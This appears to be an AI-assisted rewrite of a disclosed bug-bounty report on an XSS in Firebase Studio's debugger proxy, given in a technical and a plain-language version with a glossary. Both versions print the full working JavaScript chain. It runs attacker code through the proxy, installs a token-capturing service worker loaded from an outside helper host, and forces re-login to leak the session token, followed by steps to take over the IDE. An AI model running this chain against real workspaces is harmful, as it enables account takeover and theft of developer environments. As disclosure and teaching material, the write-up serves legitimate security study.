Skip to content
XSS Write-up Advanced

idx.google.com XSS

A debugger proxy feature in Firebase Studio (formerly Project IDX) would fetch and run arbitrary JavaScript from a URL supplied by the attacker, letting the attacker's code run in the victim's origin. The attacker could then register a service worker that captured the victim's login redirect and leaked the authentication token, allowing full access to the victim's IDE.

NDevTK Follow

Published on ndevtk.github.io

Bounty$3,134 View original

This is a hosted development environment called Firebase Studio formerly Project IDX based on Visual Studio Code like Google Cloud Shell

NDevTK, on ndevtk.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Firebase Studio, formerly Project IDX, is a hosted development environment built on Visual Studio Code, in the same family as Google Cloud Shell. The researcher's target was the debugger feature documented at https://developers.google.com/idx/guides/debug-in-idx#chrome-devtools, which lets a developer open Chrome DevTools against a running workspace. That feature is based on the open source Chii project, and the write-up points at a specific upstream commit:

Text
https://github.com/liriliri/chii/commit/[redacted]

In normal use the debugger proxy runs JavaScript on behalf of the developer and fetches resources as the workspace server, so it is a powerful component by design. The researcher's interest was in what happens when that proxy can be pointed at content controlled by someone else.

Setup

The only precondition described is a project in the environment. The researcher created a project as simple HTML. Once it loaded, the workspace exposed an iframe whose URL has the form:

Text
https://9000-monospace-<ID>.cloudworkstations.dev

The <ID> in that hostname is the value the attack needs. The write-up notes that in a real attack this could be leaked from the network. No accounts, roles, tool versions or browser versions are given beyond that.

Finding it

The debugger proxy can be pointed at attacker-supplied content and runs the result as JavaScript in the context of the victim's workspace server. The researcher framed this as a "vulnerable debugger proxy" that "Runs any js code you want, Fetch as the victims server". The example uses port 8282 for the proxy, so the base of the attack is:

Text
https://8282-monospace-<ID>.cloudworkstations.dev/proxy?url=

Two further observations shaped the exploit. First, authentication to the workspace is done by redirecting the user to https://ssh.cloud.google.com/devshell/gateway/oauth?state=<value>, which the write-up describes as cross-site with COOP and embed protection, and then to https://<PORT>-idx-<ID>.cloudworkstations.dev/_workstation/login?redirect=<value>, which sets a cookie and redirects back. Second, the token involved is an HttpOnly cookie, so page JavaScript cannot read it directly. A redirect, however, carries the token in its URL, and a service worker can observe requests.

Exploitation

Step 1: obtain the workspace ID

Create a project as simple HTML and load it. Take the ID from the iframe URL of the form https://9000-monospace-<ID>.cloudworkstations.dev. In a real attack this value could be leaked from the network.

Step 2: run the chain from any website

The researcher ran the following from any website, replacing ID with the value obtained above:

JavaScript
// Vulnerable debugger proxy (Runs any js code you want, Fetch as the victims server)
let target = 'https://8282-monospace-<ID>.cloudworkstations.dev/proxy?url=';

// Link to our service worker
let proxy = new URL('https://terjanq.me/xss.php');
proxy.searchParams.set('ct', 'application/javascript');
proxyPayload = `
self.addEventListener("fetch", (event) => {
 let url = event.request.url;
 // Leak token from redirect since its a httponly cookie
  // Authentication is done by:
 // Redirecting the user to https://ssh.cloud.google.com/devshell/gateway/oauth?state=<value> (Cross-site, COOP, embed protection)
 // https://<PORT>-idx-<ID>.cloudworkstations.dev/_workstation/login?redirect=<value> this sets a cookie then redirects back.
 if (url.includes("_workstation/login")) {
  console.info('🎉 Leaked token: '+url);
 }
});
`;
proxy.searchParams.set('html', proxyPayload);

// Link to force a re-authenticate
let reauth = new URL('https://terjanq.me/xss.php');
reauth.searchParams.set('h[Clear-Site-Data]', '"cookies"');
reauthPayload = `
setTimeout(() => { location.href=location.origin }, 3000);
`;
reauth.searchParams.set('js', reauthPayload);

// Link to create service worker
let setup = new URL('https://terjanq.me/xss.php');
setupPayload = `
navigator.serviceWorker.register("${target + encodeURIComponent(proxy.href)}");
setTimeout(() => { location.href="${target + encodeURIComponent(reauth.href)}" }, 3000);
`;
setup.searchParams.set('js', setupPayload);

// Do the stuff
location = target + encodeURIComponent(setup.href);

The script builds three URLs and then navigates to the first of them through the proxy:

  1. target is the debugger proxy endpoint with its url parameter left open for appending.
  2. proxy points at a helper on terjanq.me/xss.php that serves attacker-chosen content with a chosen content type. Here ct is set to application/javascript and html carries the service worker source. The worker listens for fetch events and logs any request URL containing _workstation/login, because that redirect carries the token even though the cookie itself is HttpOnly.
  3. reauth points at the same helper with a Clear-Site-Data: "cookies" response header, plus a small script that, after three seconds, navigates to location.origin. Clearing cookies forces the workspace to re-authenticate, and the reload starts that flow.
  4. setup points at the helper with a script that registers the service worker from the proxy URL, then after three seconds navigates to the reauth URL, both passed through the debugger proxy.
  5. Finally the browser is sent to target + encodeURIComponent(setup.href), so the proxy fetches and runs the setup script as the victim's workspace server.

Step 3: read the leaked token

In the console a message appears saying "leaked token", in the format:

Text
https://8282-monospace-<ID>.cloudworkstations.dev/_workstation/login?redirect=<secret>

Step 4: use the token

In a new browser, navigating to that URL logs you in to the debugger. From there a WorkstaionJwt is obtained, and by changing the domain of that cookie, for example to 80-monospace-<ID>.cloudworkstations.dev, you can log in to the IDE.

Root cause

The debugger proxy can be made to fetch attacker-supplied content and execute it as JavaScript in the origin of the victim's workspace server. That turns a cross-site request into same-origin script execution against the workspace, which is enough to register a service worker there. The service worker then sees every request the workspace makes, including the _workstation/login redirect that carries the token in its query string. Because the token travels in a URL rather than only in the HttpOnly cookie, HttpOnly gives no protection here. The write-up notes the login redirect is cross-site with COOP and embed protection, but does not explain how those protections interact with the chain.

Impact

An attacker who knows the workspace <ID> and can get a victim to load a page can run arbitrary JavaScript as the victim's workspace server, force a re-authentication, capture the login redirect containing the token, and from it obtain a WorkstaionJwt. Reusing that cookie on another port of the same workspace, such as 80-monospace-<ID>.cloudworkstations.dev, gives access to the IDE. The attack requires the victim to visit the attacker's page and the <ID> to be known or leaked from the network. The platform records a bounty of 3133.70 USD for the report.

Fix

The write-up does not describe the fix that was applied.

Variants to test

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Firebase Studio (which used to be called Project IDX) is a website that gives you a complete programming environment inside your browser. You do not install anything on your computer: you open a page, and Google runs a small computer for you in the cloud, with an editor, a terminal and a debugger. It is built on Visual Studio Code, the same editor many developers use on their own machines, and it belongs to the same family of products as Google Cloud Shell.

One of its features is a debugger. A debugger is a tool that lets you pause a running program, look inside it and step through it line by line. In Firebase Studio you can open Chrome DevTools, the debugging panel built into Google Chrome, against the workspace that is running in the cloud. That feature is built on an open source project called Chii, and the write-up points at one specific change in that project:

Text
https://github.com/liriliri/chii/commit/[redacted]

To make this work, the debugger feature includes a small relay (a "proxy"). A proxy is a middleman: your browser asks the proxy for something, and the proxy fetches it from somewhere else and hands it back. This particular proxy can fetch JavaScript code and run it with the same powers as the workspace server itself. That is a very powerful thing to have, and it is powerful on purpose. The researcher's question was simple: what happens if someone can make that proxy fetch code from a place the attacker controls?

The answer was that an attacker could run their own JavaScript inside the victim's workspace, watch the login redirect, capture the token, and use it to log in to the debugger and the IDE. The platform paid a bounty of 3133.70 USD for the report.

The pieces you need to know first

A few everyday ideas make the rest of this easy to follow.

  • A cookie is a small note that a website asks your browser to keep and to show back to the site on every later visit. It is how a site remembers that you are logged in. A special kind called an HttpOnly cookie is hidden from the page's own JavaScript: scripts can neither read it nor change it. That is a safety feature, because if a malicious script ever runs on the page, it cannot simply grab the cookie.
  • A token is a long, hard-to-guess string that acts like a temporary key. If you have the token, you are treated as logged in. Tokens are often stored inside cookies, but they can also travel in other places, such as the address of a page.
  • A URL is the address of something on the web. The part after a ? is called the query string, and it carries small labelled values, for example ?redirect=abc. Anything in a URL can end up in logs, in browser history, and in the hands of anyone who can see the request.
  • A redirect is when a website answers your request by saying "not here, go to this other address instead". Browsers follow redirects automatically, so you often do not notice them.
  • A service worker is a small script that a website installs into your browser and that keeps running in the background for that site. It can see and intercept every network request the site makes. Think of it as a receptionist sitting in front of the site: every message in and out passes across their desk.
  • An origin is the combination of scheme, host and port, for example https://example.com:443. Browsers treat each origin as a separate locked room. Code from one origin normally cannot read data from another. Getting code to run inside the victim's origin is therefore the goal of many attacks.
  • XSS (cross-site scripting) is the name for the whole family of attacks where someone gets their own JavaScript to run as if it belonged to the victim's site. Once that happens, the attacker's code enjoys the site's privileges.
  • COOP (Cross-Origin Opener Policy) is a browser protection that stops one page from keeping a live handle on another page from a different site. The write-up mentions it as something the login flow uses.
  • An API is a defined way for one piece of software to ask another to do something, like a service counter with set requests. Here the debugger proxy is effectively an API that accepts a url and returns whatever is at that address.

Setting up

The only precondition the write-up describes is having a project in the environment. The researcher created a project that was just simple HTML. Once it loaded, the workspace showed an iframe (a page embedded inside another page) whose address had this shape:

Text
https://9000-monospace-<ID>.cloudworkstations.dev

<ID> stands for a value that identifies this particular workspace. The attack needs that value. The write-up notes that in a real attack it could be leaked from the network, meaning an attacker who can observe traffic could learn it without ever seeing the victim's screen. No accounts, roles, tool versions or browser versions are given beyond that.

Finding the weakness

The debugger proxy accepts a parameter called url and can be made to fetch attacker-supplied content, then run the result as JavaScript inside the victim's workspace server. The researcher described it as a "vulnerable debugger proxy" that "Runs any js code you want, Fetch as the victims server". The example uses port 8282 for the proxy, so the base of the attack is:

Text
https://8282-monospace-<ID>.cloudworkstations.dev/proxy?url=

A port is a numbered door on a server; the same machine can offer different services on different doors. The example workspace page uses port 9000 and the proxy example uses port 8282.

Two more observations shaped the exploit.

  1. Logging in to the workspace happens through redirects. The user is first sent to https://ssh.cloud.google.com/devshell/gateway/oauth?state=<value>, which the write-up describes as cross-site with COOP and embed protection, and then to https://<PORT>-idx-<ID>.cloudworkstations.dev/_workstation/login?redirect=<value>, which sets a cookie and redirects back. The important detail is that the token appears in the address of that second redirect.
  2. The token is stored in an HttpOnly cookie, so page JavaScript cannot read it directly. But a redirect carries the token in its URL, and a service worker can see requests. So the plan becomes: get a service worker installed inside the workspace origin, and let it watch the login redirect go past.

Carrying out the attack

Step 1: get the workspace ID

Create a project as simple HTML and load it. Take the ID from the iframe address of the form https://9000-monospace-<ID>.cloudworkstations.dev. In a real attack this value could be leaked from the network.

Step 2: run the chain from any website

The researcher ran the following from any website, replacing ID with the value obtained above:

JavaScript
// Vulnerable debugger proxy (Runs any js code you want, Fetch as the victims server)
let target = 'https://8282-monospace-<ID>.cloudworkstations.dev/proxy?url=';

// Link to our service worker
let proxy = new URL('https://terjanq.me/xss.php');
proxy.searchParams.set('ct', 'application/javascript');
proxyPayload = `
self.addEventListener("fetch", (event) => {
 let url = event.request.url;
 // Leak token from redirect since its a httponly cookie
  // Authentication is done by:
 // Redirecting the user to https://ssh.cloud.google.com/devshell/gateway/oauth?state=<value> (Cross-site, COOP, embed protection)
 // https://<PORT>-idx-<ID>.cloudworkstations.dev/_workstation/login?redirect=<value> this sets a cookie then redirects back.
 if (url.includes("_workstation/login")) {
  console.info('🎉 Leaked token: '+url);
 }
});
`;
proxy.searchParams.set('html', proxyPayload);

// Link to force a re-authenticate
let reauth = new URL('https://terjanq.me/xss.php');
reauth.searchParams.set('h[Clear-Site-Data]', '"cookies"');
reauthPayload = `
setTimeout(() => { location.href=location.origin }, 3000);
`;
reauth.searchParams.set('js', reauthPayload);

// Link to create service worker
let setup = new URL('https://terjanq.me/xss.php');
setupPayload = `
navigator.serviceWorker.register("${target + encodeURIComponent(proxy.href)}");
setTimeout(() => { location.href="${target + encodeURIComponent(reauth.href)}" }, 3000);
`;
setup.searchParams.set('js', setupPayload);

// Do the stuff
location = target + encodeURIComponent(setup.href);

Line by line, in plain words:

  • let target = 'https://8282-monospace-<ID>.cloudworkstations.dev/proxy?url='; stores the address of the vulnerable proxy. The url= at the end is left empty on purpose, because something will be appended to it later.
  • let proxy = new URL('https://terjanq.me/xss.php'); builds an address of a helper page on a site the researcher controls. This helper can be told what content to serve and with what content type.
  • proxy.searchParams.set('ct', 'application/javascript'); tells the helper to label the content as JavaScript, so the browser will treat it as code rather than as a web page.
  • The proxyPayload block is the source of the service worker. self.addEventListener("fetch", (event) => { registers a listener that fires every time the site makes a network request. let url = event.request.url; copies the address of that request. The comments explain the reasoning: the token is in an HttpOnly cookie, so it cannot be read directly, but the login redirect carries it in the URL. The if (url.includes("_workstation/login")) check looks for the login redirect, and console.info('🎉 Leaked token: '+url); prints the full address, token included, into the browser console.
  • proxy.searchParams.set('html', proxyPayload); attaches that worker source to the helper address, so fetching the address returns the worker code.
  • let reauth = new URL('https://terjanq.me/xss.php'); builds a second helper address, this time to force a fresh login.
  • reauth.searchParams.set('h[Clear-Site-Data]', '"cookies"'); asks the helper to send a response header called Clear-Site-Data with the value "cookies". That header tells the browser to throw away the site's cookies. Losing the cookies means the workspace no longer considers the user logged in, so it will start the login flow again, and that flow is exactly what the service worker is waiting to see.
  • The reauthPayload block is a tiny script: setTimeout(() => { location.href=location.origin }, 3000); waits three seconds and then reloads the site's own front page, which triggers the login redirect.
  • reauth.searchParams.set('js', reauthPayload); attaches that script to the helper address.
  • let setup = new URL('https://terjanq.me/xss.php'); builds a third helper address, the one that starts everything.
  • The setupPayload block does two things. navigator.serviceWorker.register("${target + encodeURIComponent(proxy.href)}"); installs the service worker, fetching its code through the vulnerable proxy so that the worker belongs to the workspace origin rather than to the attacker's site. encodeURIComponent is used because the worker address itself contains characters like ? and = that would otherwise confuse the outer address. Then setTimeout(() => { location.href="${target + encodeURIComponent(reauth.href)}" }, 3000); waits three seconds and navigates, again through the proxy, to the re-authentication helper.
  • setup.searchParams.set('js', setupPayload); attaches the setup script to its helper address.
  • location = target + encodeURIComponent(setup.href); is the trigger. The browser is sent to the proxy with the setup helper's address as the url value, so the proxy fetches the setup script and runs it as the victim's workspace server.

So the script builds three addresses and then navigates to the first of them through the proxy:

  1. target is the debugger proxy endpoint, with its url parameter left open for appending.
  2. proxy points at a helper on terjanq.me/xss.php that serves attacker-chosen content with a chosen content type. Here ct is application/javascript and html carries the service worker source. The worker listens for fetch events and logs any request address containing _workstation/login, because that redirect carries the token even though the cookie itself is HttpOnly.
  3. reauth points at the same helper with a Clear-Site-Data: "cookies" response header, plus a small script that, after three seconds, navigates to location.origin. Clearing cookies forces the workspace to log in again, and the reload starts that flow.
  4. setup points at the helper with a script that registers the service worker from the proxy address, then after three seconds navigates to the reauth address, both passed through the debugger proxy.
  5. Finally the browser is sent to target + encodeURIComponent(setup.href), so the proxy fetches and runs the setup script as the victim's workspace server.

Step 3: read the leaked token

In the console a message appears saying "leaked token", in the format:

Text
https://8282-monospace-<ID>.cloudworkstations.dev/_workstation/login?redirect=<secret>

That address is the login redirect, and the <secret> part is the token. The service worker saw it go past because the worker lives inside the workspace origin and watches every request there.

Step 4: use the token

In a new browser, navigating to that address logs you in to the debugger. From there a WorkstaionJwt is obtained, and by changing the domain of that cookie, for example to 80-monospace-<ID>.cloudworkstations.dev, you can log in to the IDE. A JWT (JSON Web Token) is a token format that carries signed information about who you are; the write-up spells the cookie name WorkstaionJwt.

Why it worked

The debugger proxy can be made to fetch attacker-supplied content and execute it as JavaScript in the origin of the victim's workspace server. That turns a request coming from another site into script running with the workspace's own privileges, which is enough to register a service worker there. The service worker then sees every request the workspace makes, including the _workstation/login redirect that carries the token in its query string. Because the token travels in a URL and not only in the HttpOnly cookie, HttpOnly gives no protection here. The write-up notes the login redirect is cross-site with COOP and embed protection, but does not explain how those protections interact with the chain.

What an attacker gets

An attacker who knows the workspace <ID> and can get a victim to load a page can run arbitrary JavaScript as the victim's workspace server, force a re-authentication, capture the login redirect containing the token, and from it obtain a WorkstaionJwt. Reusing that cookie on another port of the same workspace, such as 80-monospace-<ID>.cloudworkstations.dev, gives access to the IDE. The attack requires the victim to visit the attacker's page and the <ID> to be known or leaked from the network. The platform records a bounty of 3133.70 USD for the report.

The fix

The write-up does not describe the fix that was applied.

Things to try elsewhere

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a service counter with set requests.
  • Bounty: a reward a company pays to someone who reports a security problem to it.
  • Chii: an open source project that the debugger feature is based on.
  • Clear-Site-Data: a response header that tells the browser to delete stored data for a site, such as its cookies.
  • Cookie: a small note a website asks the browser to keep and send back on later visits, often used to remember that you are logged in.
  • COOP (Cross-Origin Opener Policy): a browser protection that stops one page from keeping a live handle on a page from another site.
  • Cross-site: involving two different websites, as opposed to staying within one.
  • Debugger: a tool that lets you pause a running program, look inside it and step through it.
  • DevTools: the debugging panel built into Google Chrome.
  • Firebase Studio (formerly Project IDX): a hosted development environment that runs a programming workspace in the cloud inside your browser.
  • HttpOnly: a cookie setting that hides the cookie from the page's own JavaScript, so scripts can neither read nor change it.
  • IDE: integrated development environment, a program that bundles an editor, a terminal and other tools for writing software.
  • Iframe: a page embedded inside another page.
  • JavaScript: the programming language that web pages run in the browser.
  • JWT (JSON Web Token): a token format that carries signed information about who you are.
  • Origin: the combination of scheme, host and port, for example https://example.com:443; browsers treat each origin as a separate locked room.
  • Port: a numbered door on a server; one machine can offer different services on different doors.
  • Proxy: a middleman that fetches something on your behalf and hands the result back.
  • Query string: the part of a URL after the ?, carrying small labelled values such as ?redirect=abc.
  • Redirect: a website answering a request by pointing the browser to a different address instead.
  • Service worker: a script a website installs into the browser that keeps running in the background and can see and intercept the site's network requests.
  • Token: a long, hard-to-guess string that acts like a temporary key; whoever has it is treated as logged in.
  • URL: the address of something on the web.
  • Visual Studio Code: a widely used source code editor, which Firebase Studio is built on.
  • XSS (cross-site scripting): the family of attacks where someone gets their own JavaScript to run as if it belonged to the victim's site.

More by NDevTK

View all

31 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.